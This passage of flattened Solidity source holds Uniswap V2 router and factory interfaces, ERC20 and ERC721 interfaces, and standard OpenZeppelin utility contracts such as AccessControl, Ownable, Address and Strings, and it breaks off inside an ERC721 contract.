uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
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|
/**
*Submitted for verification at Etherscan.io on 2021-09-06
*/
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
require(isContract(target), 'Address: call to non-contract');
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, 'Address: low-level static call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), 'Address: static call to non-contract');
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: delegate call to non-contract');
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = '0123456789abcdef';
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return '0';
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return '0x00';
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = '0';
buffer[1] = 'x';
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, 'Strings: hex length insufficient');
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
